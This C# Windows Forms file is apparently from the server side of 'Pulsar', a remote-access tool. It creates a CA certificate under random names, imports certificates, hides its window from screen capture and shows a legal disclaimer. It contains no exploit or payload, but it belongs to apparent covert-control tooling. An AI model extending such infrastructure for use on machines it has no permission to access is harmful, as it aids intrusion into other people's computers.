157 lines
6.3 KiB
C#
157 lines
6.3 KiB
C#
using Org.BouncyCastle.Crypto.Paddings;
|
||||
|
|
using Pulsar.Server.Forms.DarkMode;
|
|||
|
|
using Pulsar.Server.Helper;
|
|||
|
|
using Pulsar.Server.Models;
|
|||
|
|
using System;
|
|||
|
|
using System.Diagnostics;
|
|||
|
|
using System.IO;
|
|||
|
|
using System.Linq;
|
|||
|
|
using System.Security.Cryptography.X509Certificates;
|
|||
|
|
using System.Windows.Forms;
|
|||
|
|
|
|||
|
|
namespace Pulsar.Server.Forms
|
|||
|
|
{
|
|||
|
|
public partial class FrmCertificate : Form
|
|||
|
|
{
|
|||
|
|
private X509Certificate2 _certificate;
|
|||
|
|
|
|||
|
|
public FrmCertificate()
|
|||
|
|
{
|
|||
|
|
InitializeComponent();
|
|||
|
|
DarkModeManager.ApplyDarkMode(this);
|
|||
|
|
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void SetCertificate(X509Certificate2 certificate)
|
|||
|
|
{
|
|||
|
|
_certificate = certificate;
|
|||
|
|
txtDetails.Text = _certificate.ToString(false);
|
|||
|
|
btnSave.Enabled = true;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private string GenerateRandomStringPair()
|
|||
|
|
{
|
|||
|
|
const string letters = "abcdefghijklmnopqrstuvwxyz";
|
|||
|
|
Random random = new Random();
|
|||
|
|
string GenerateRandomString(int length) => new string(Enumerable.Repeat(letters, length).Select(s => s[random.Next(s.Length)]).ToArray());
|
|||
|
|
|
|||
|
|
string randomString1 = GenerateRandomString(random.Next(4, 7));
|
|||
|
|
string randomString2 = GenerateRandomString(random.Next(4, 7));
|
|||
|
|
|
|||
|
|
return $"{randomString1} {randomString2}";
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void btnCreate_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
SetCertificate(CertificateHelper.CreateCertificateAuthority(GenerateRandomStringPair(), 4096));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void btnImport_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
using (var ofd = new OpenFileDialog())
|
|||
|
|
{
|
|||
|
|
ofd.CheckFileExists = true;
|
|||
|
|
ofd.Filter = "*.p12|*.p12";
|
|||
|
|
ofd.Multiselect = false;
|
|||
|
|
ofd.InitialDirectory = Application.StartupPath;
|
|||
|
|
if (ofd.ShowDialog(this) == DialogResult.OK)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
byte[] bytes = File.ReadAllBytes(ofd.FileName);
|
|||
|
|
var cert = X509CertificateLoader.LoadPkcs12(bytes, null, X509KeyStorageFlags.Exportable);
|
|||
|
|
SetCertificate(cert);
|
|||
|
|
|
|||
|
|
btnSave.PerformClick();
|
|||
|
|
|
|||
|
|
string importedDir = Path.GetDirectoryName(ofd.FileName);
|
|||
|
|
string sourcePulsarStuff = Path.Combine(importedDir, "PulsarStuff");
|
|||
|
|
string destPulsarStuff = Path.Combine(Application.StartupPath, "PulsarStuff");
|
|||
|
|
if (Directory.Exists(sourcePulsarStuff))
|
|||
|
|
{
|
|||
|
|
Directory.CreateDirectory(destPulsarStuff);
|
|||
|
|
|
|||
|
|
foreach (string file in Directory.GetFiles(sourcePulsarStuff, "*", SearchOption.AllDirectories))
|
|||
|
|
{
|
|||
|
|
string relativePath = file.Substring(sourcePulsarStuff.Length + 1);
|
|||
|
|
string destFile = Path.Combine(destPulsarStuff, relativePath);
|
|||
|
|
Directory.CreateDirectory(Path.GetDirectoryName(destFile));
|
|||
|
|
File.Copy(file, destFile, true);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
MessageBox.Show(this, $"Error importing the certificate:\n{ex.Message}", "Save error",
|
|||
|
|
MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void btnSave_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (_certificate == null)
|
|||
|
|
throw new ArgumentNullException();
|
|||
|
|
|
|||
|
|
if (!_certificate.HasPrivateKey)
|
|||
|
|
throw new ArgumentException();
|
|||
|
|
|
|||
|
|
File.WriteAllBytes(Settings.CertificatePath, _certificate.Export(X509ContentType.Pkcs12));
|
|||
|
|
|
|||
|
|
MessageBox.Show(this,
|
|||
|
|
"Please backup the certificate now. Loss of the certificate results in loosing all clients!",
|
|||
|
|
"Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
|||
|
|
|
|||
|
|
string argument = "/select, \"" + Settings.CertificatePath + "\"";
|
|||
|
|
Process.Start("explorer.exe", argument);
|
|||
|
|
|
|||
|
|
this.DialogResult = DialogResult.OK;
|
|||
|
|
}
|
|||
|
|
catch (ArgumentNullException)
|
|||
|
|
{
|
|||
|
|
MessageBox.Show(this, "Please create or import a certificate first.", "Save error",
|
|||
|
|
MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|||
|
|
}
|
|||
|
|
catch (ArgumentException)
|
|||
|
|
{
|
|||
|
|
MessageBox.Show(this,
|
|||
|
|
"The imported certificate has no associated private key. Please import a different certificate.",
|
|||
|
|
"Save error", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|||
|
|
}
|
|||
|
|
catch (Exception)
|
|||
|
|
{
|
|||
|
|
MessageBox.Show(this,
|
|||
|
|
"There was an error saving the certificate, please make sure you have write access to the Pulsar directory.",
|
|||
|
|
"Save error", MessageBoxButtons.OK, MessageBoxIcon.Error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void btnExit_Click(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
Environment.Exit(0);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void FrmCertificate_Load(object sender, EventArgs e)
|
|||
|
|
{
|
|||
|
|
string disclaimer = "WARNING: This software is intended for educational and research purposes ONLY.\n" +
|
|||
|
|
"Unauthorized use on computers you do not own or have explicit permission to access is illegal.\n\n" +
|
|||
|
|
"By using this software, you agree that you are solely responsible for your actions.\n\n" +
|
|||
|
|
"Do you agree to proceed?";
|
|||
|
|
|
|||
|
|
DialogResult result = MessageBox.Show(disclaimer, "Legal Disclaimer",
|
|||
|
|
MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
|
|||
|
|
|
|||
|
|
if (result == DialogResult.No)
|
|||
|
|
{
|
|||
|
|
// User did not agree – close the form
|
|||
|
|
this.Close();
|
|||
|
|
}
|
|||
|
|
// If Yes, the form stays open and continues loading
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
}
|